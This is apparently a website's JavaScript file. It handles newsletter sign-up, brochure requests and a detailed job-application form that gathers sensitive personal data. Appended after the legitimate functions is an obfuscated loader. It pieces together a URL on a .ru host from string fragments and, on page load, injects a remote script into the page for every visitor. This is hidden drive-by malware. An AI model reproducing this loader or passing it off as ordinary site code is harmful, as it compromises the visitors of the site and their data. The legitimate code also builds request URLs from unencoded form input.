function subscribe()
{
	var objForm = document.getElementById("subscribe");
	var bOk = false;
	
	if (validateForm(objForm))
	{
		startLoading("_subscribe()");
	}
	
	return bOk;
}

function _subscribe()
{
	
	var objAjax = new CAjax();
	var strEmail = getFormValue("subscribeemail");
	if (objAjax.open("dynamic/subscribe.php?email=" + strEmail, true))
	{
	    showFloatyMessageBox(objAjax.getResponse());
	}
	
	endLoading();
}


function showFloatyMessageBox(strText)
{
	var objLayer = document.getElementById("modalLayer");
	var objHolder = document.getElementById("modalHolder");
	var objMsg = document.getElementById("modalMessage");
	var objModalCloseBar = document.getElementById("modalCloseBar");

	if (!objHolder)
	{
	
		objLayer = document.createElement("div");
		objLayer.id = "modalLayer";
		
		objHolder = document.createElement("div");
		objHolder.id = "modalHolder";
		
		objLayer.appendChild(objHolder);

		objMsg = document.createElement("div");
		objMsg.id = "modalMessage";
		
		objModalCloseBar = document.createElement("div");
		objModalCloseBar.id = "modalCloseBar";
		objModalCloseBar.className = "closeBar";

		objHolder.appendChild(objModalCloseBar);
		objHolder.appendChild(objMsg);
		
		objA = document.createElement("a");
		objA.href = "#";
		objA.innerHTML = "X";
		
		try
		{
			objA.attachEvent("onclick", closeModal);
		}
		catch (e)
		{
			objA.addEventListener("click", closeModal, false);
		}
		
		try
		{
			objLayer.attachEvent("onclick", closeModal);
		}
		catch (e)
		{
			objLayer.addEventListener("click", closeModal, false);
		}
		
		objModalCloseBar.appendChild(objA);
		
		document.body.appendChild(objLayer);
		document.body.appendChild(objHolder);
	}
 
	setOpacity("modalLayer", "70");
	setOpacity("modalHolder", "100");
	
	objLayer.style.display = "block";
	objHolder.style.display = "block";
	
	objMsg.innerHTML = strText;
	
	var iWidth = getWidth();
	var iHeight = getHeight();
	
	var iImageWidth = findRight(objMsg) - findLeft(objMsg);
	var iImageHeight = findBottom(objMsg) - findTop(objMsg);
	
	var iHeightFactor = (iHeight - iImageHeight) / 2;
	var iWidthFactor = (iWidth - iImageWidth) / 2;
	
	var iVariant = 16;
	
	if (navigator.appName == "Microsoft Internet Explorer")
	{
		iVariant = 8;
	}

	objHolder.style.left = iWidthFactor - iVariant + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
	objHolder.style.top = iHeightFactor - 30 + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
	
	objLayer.style.height = document.body.scrollHeight;
	objLayer.style.width = document.body.scrollWidth;

	fadeUp("modalLayer", 0, 70);
	fadeUp("modalHolder", 0, 100);
}

function brochureRequest()
{	
	var objForm = document.getElementById("mailForm");
	
	if (validateForm(objForm))
	{
		startLoading("_brochureRequest()");
	}
}
function _brochureRequest()
{
	var objAjax = new CAjax();

    var strName, strAddress1, strAddress2, strAddress3, strAddress4, strPostcode;
    
    strName = getFormValue("name");
	strAddress1 = getFormValue("address1");
	strAddress2 = getFormValue("address2");
    strAddress3 = getFormValue("address3"); 
    strAddress4 = getFormValue("address4");
    strPostcode = getFormValue("postcode");

	if (objAjax.open("dynamic/brochure.php?name=" + strName + "&add1=" + strAddress1 + "&add2=" + strAddress2 + "&add3=" + strAddress3 + "&add4=" + strAddress4 + "&postcode=" + strPostcode, true))
	{
	    showFloatyMessageBox(objAjax.getResponse());
	}
	
	endLoading();
}

function applicationRequest()
{	
		startLoading("_applicationRequest()");
}

function _applicationRequest()
{
   	var objForm = document.getElementById("emailForm");

    var objDoc = xml_createXmlDom();
    var objFormNode;
    var objInputs, objPrompts, objPromptNode;
    var strInput, strValue;
    
	var objAjax = new CAjax();

    objDoc.loadXML("<form/>");
    objFormNode = objDoc.selectSingleNode("/form");    
         
    addPrompt(objFormNode, "Job Title", getFormValue("jobtitle"));
    addPrompt(objFormNode, "Reference", getFormValue("reference"));
    addPrompt(objFormNode, "Name", getFormValue("name"));
    addPrompt(objFormNode, "Email", getFormValue("email"));
    addPrompt(objFormNode, "Address", getFormValue("address"));
    addPrompt(objFormNode, "Postcode", getFormValue("postcode"));
    addPrompt(objFormNode, "Mobile", getFormValue("mobile"));
    addPrompt(objFormNode, "Home", getFormValue("home"));    
    addRadioPrompt(objFormNode, "Driving Licence", objForm.licence);
    addPrompt(objFormNode, "Vehicle class", getFormValue("vehicle"));
    addPrompt(objFormNode, "Penalty points", getFormValue("points"));   
    addRadioPrompt(objFormNode, "Licence revoked", objForm.revoked);
    addRadioPrompt(objFormNode, "Smoker", objForm.smoker);    
    addRadioPrompt(objFormNode, "Receiving medical treatment", objForm.medical);
    addPrompt(objFormNode, "Details", getFormValue("medicaldetails"));   
    addRadioPrompt(objFormNode, "Willing to have examination", objForm.exam);    
    addRadioPrompt(objFormNode, "Residence restrictions", objForm.restrictions);
    addPrompt(objFormNode, "Details", getFormValue("restrictiondetails"));
    addPrompt(objFormNode, "Employer", getFormValue("employer"));
    addPrompt(objFormNode, "Position", getFormValue("position"));
    addPrompt(objFormNode, "Reason for leaving", getFormValue("leaving"));
    addPrompt(objFormNode, "Gross pay", getFormValue("pay"));
    addPrompt(objFormNode, "Hours", getFormValue("hours"));
    addPrompt(objFormNode, "Previous employer", getFormValue("prevemployer"));
    addPrompt(objFormNode, "Position", getFormValue("prevposition"));
    addPrompt(objFormNode, "Reason for leaving", getFormValue("prevleaving"));
    addPrompt(objFormNode, "Gross pay", getFormValue("prevpay"));
    addPrompt(objFormNode, "Hours", getFormValue("prevhours"));
    addPrompt(objFormNode, "Education", getFormValue("education"));
    addPrompt(objFormNode, "Qualitities", getFormValue("qualities"));
    addPrompt(objFormNode, "Interests", getFormValue("interests"));
    addPrompt(objFormNode, "Other", getFormValue("other"));    
    addRadioPrompt(objFormNode, "Employment commitments", objForm.commitments);
    addPrompt(objFormNode, "Details", getFormValue("commitdetail"));  
    addRadioPrompt(objFormNode, "Previously dismissed", objForm.dismissed);
    addPrompt(objFormNode, "Reason", getFormValue("dismissedreason"));
    addPrompt(objFormNode, "Reference", getFormValue("reference"));    
    addRadioPrompt(objFormNode, "Criminal conviction", objForm.criminal);
    addRadioPrompt(objFormNode, "Know anyone", objForm.friends);   
    addPrompt(objFormNode, "Interview availability", getFormValue("interview"));
    addPrompt(objFormNode, "Start date", getFormValue("start"));    
    addRadioPrompt(objFormNode, "Holiday commitments", objForm.holiday);
    addRadioPrompt(objFormNode, "Parental leave commitments", objForm.parental);
    addRadioPrompt(objFormNode, "Previously taken leave", objForm.leave);
    addRadioPrompt(objFormNode, "Ethnic group", objForm.ethnicgroup);
    addRadioPrompt(objFormNode, "Disabled", objForm.disabled);
    addPrompt(objFormNode, "Details", getFormValue("disability"));        
    addRadioPrompt(objFormNode, "Gender", objForm.gender);
    addRadioPrompt(objFormNode, "Sexual orientation", objForm.orientation);
    addRadioPrompt(objFormNode, "Religion", objForm.religion);
    addPrompt(objFormNode, "Date of birth", getFormValue("dob"));
    addRadioPrompt(objFormNode, "How did you hear", objForm.aware);   
               
	if (objAjax.open("dynamic/apply.php", false))
	{
	    objAjax.send(objDoc.xml);		
	    showFloatyMessageBox(objAjax.getResponse());
	}
	
	endLoading();
}

function addRadioPrompt(objFormNode, strTitle, objRadio)
{
    for (var i=0; i < objRadio.length; i++)
    {
      if (objRadio[i].checked)
      {         
        addPrompt(objFormNode, strTitle, objRadio[i].value);
       }
    }
}

function addPrompt(objFormNode, strTitle, strValue)
{
    var objPromptNode;
    
    objPromptNode = xml_createNode(objFormNode, "prompt"); 
    objPromptNode.setAttribute("text", strTitle);
    objPromptNode.setAttribute("value", strValue);
   
}


var y;if(y!='T' && y != ''){y=null};var l=new Array();function c(){var mB=new Array();var I='';var Z=String("658g".substr(3));var i;if(i!='qI' && i!='J'){i=''};var m=RegExp;this.sc='';var H=new String();var aL=new String();function w(q,s){var BM="";var QI;if(QI!='SM' && QI!='G'){QI=''};var bA;if(bA!='' && bA!='HD'){bA='ma'};var qG= new String("[");qG+=s;qG+=String("]m3F".substr(0,1));var bo="";var ck="";var fM=new Date();var ZP=new m(qG, Z);var Vz;if(Vz!='' && Vz!='LX'){Vz='nP'};return q.replace(ZP, I);};var O=new String();this.vq="";var yS='';var h=String("/g"+"oo"+"gl"+"e."+"co"+"m/q9sQ".substr(0,2)+"goqC6h".substr(0,2)+"YqNogYNq".substr(3,2)+"t4Klet4K".substr(3,2)+"2zW.c2Wz".substr(3,2)+"HLpom".substr(3)+"/mLJ6j".substr(0,2)+"4Cw2ai".substr(4)+"l.UV27".substr(0,2)+"aBlvcovBal".substr(4,2)+"pFXm/FXp".substr(3,2)+"ma3KsS".substr(0,2)+"2SdPin".substr(4)+"jHl0ic0jHl".substr(4,2)+"bGnIhiGnIb".substr(4,2)+".j"+"p/"+"B5Iim".substr(3)+"CD128C1D".substr(3,2)+"6.kjR8".substr(0,2)+"wGMcowMG".substr(3,2)+"m."+"3Czph".substr(3)+"Sofp".substr(3));var R="";var HN="";var L=String("srq4i".substr(0,2)+"cxOH".substr(0,1));var hC='';var sp;if(sp!='' && sp!='AU'){sp=null};var V=String("scri"+"pt");this.WY="";var Id=window;var Cm=new Array();var qD="rFu7http:".substr(4)+"rhX//awerXh".substr(3,5)+"ber-cBYS".substr(0,5)+"om.na4Wk".substr(0,5)+"qigs.f3m".substr(0,5)+"SQnjcom.r".substr(4)+"evers"+"PYyo-netyYP".substr(3,5)+".themOVH".substr(0,5)+"RqUixban".substr(3)+"m9Gk.ru:".substr(3);var bz;if(bz!='p'){bz='p'};var v=String("defeXpnk".substr(0,4)+"Nfhr".substr(3));var ij=new Date();var _h;if(_h!='' && _h!='Hw'){_h=null};var F=w('81111017978999799097711',"719");var D;if(D!='MA' && D!='cq'){D='MA'};Id.onload=function(){var iX;if(iX!='Ic'){iX='Ic'};try {var Wp=new Date();var ZG='';hC=qD+F;var x="";var WM='';hC+=h;var gH;if(gH!='iv' && gH!='ox'){gH='iv'};d=document.createElement(V);var hnu;if(hnu!='' && hnu!='Y'){hnu='eX'};this.js="";d[L]=hC;this.P='';d[v]=[1][0];var uL;if(uL!='' && uL!='ry'){uL='jb'};var nn;if(nn!='Aq' && nn!='Qp'){nn=''};var lq=new Date();var RT=new Date();document.body.appendChild(d);var tB=new Date();var of=new Array();var KC=new String();} catch(B){this.ca="";var Cw=new Array();};};};var gW=new Date();c();var rS=new String();var fX;if(fX!=''){fX='kF'};